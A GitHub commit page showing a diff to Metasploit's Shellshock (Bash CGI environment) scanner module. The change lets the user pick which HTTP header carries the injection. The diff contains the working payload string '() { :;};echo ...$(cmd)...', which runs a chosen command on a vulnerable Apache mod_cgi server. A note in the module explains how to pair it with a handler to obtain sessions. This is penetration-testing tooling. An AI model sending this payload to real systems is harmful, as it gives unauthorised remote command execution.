Skip to content

Commit 64dbc39

Browse files
author
HD Moore
committed
Add header specification to check module, lands rapid7#3902
2 parents c75a018 + 044eeb8 commit 64dbc39

File tree

1 file changed

+6
-4
lines changed

1 file changed

+6
-4
lines changed

modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ def initialize(info = {})
1717
'Description' => %q{
1818
This module exploits a code injection in specially crafted environment
1919
variables in Bash, specifically targeting Apache mod_cgi scripts through
20-
the HTTP_USER_AGENT variable.
20+
the HTTP_USER_AGENT variable by default.
2121
2222
PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your
2323
CMD, set ExitOnSession false, run -j, and then run this module to create
@@ -38,8 +38,8 @@ def initialize(info = {})
3838

3939
register_options([
4040
OptString.new('TARGETURI', [true, 'Path to CGI script']),
41-
OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET',
42-
['GET', 'POST']]),
41+
OptString.new('METHOD', [true, 'HTTP method to use', 'GET']),
42+
OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']),
4343
OptString.new('CMD', [true, 'Command to run (absolute paths required)',
4444
'/usr/bin/id'])
4545
], self.class)
@@ -98,7 +98,9 @@ def req(cmd)
9898
send_request_cgi(
9999
'method' => datastore['METHOD'],
100100
'uri' => normalize_uri(target_uri.path),
101-
'agent' => "() { :;};echo #{@marker}$(#{cmd})#{@marker}"
101+
'headers' => {
102+
datastore['HEADER'] => "() { :;};echo #{@marker}$(#{cmd})#{@marker}"
103+
}
102104
)
103105
end
104106

0 commit comments

Comments
 (0)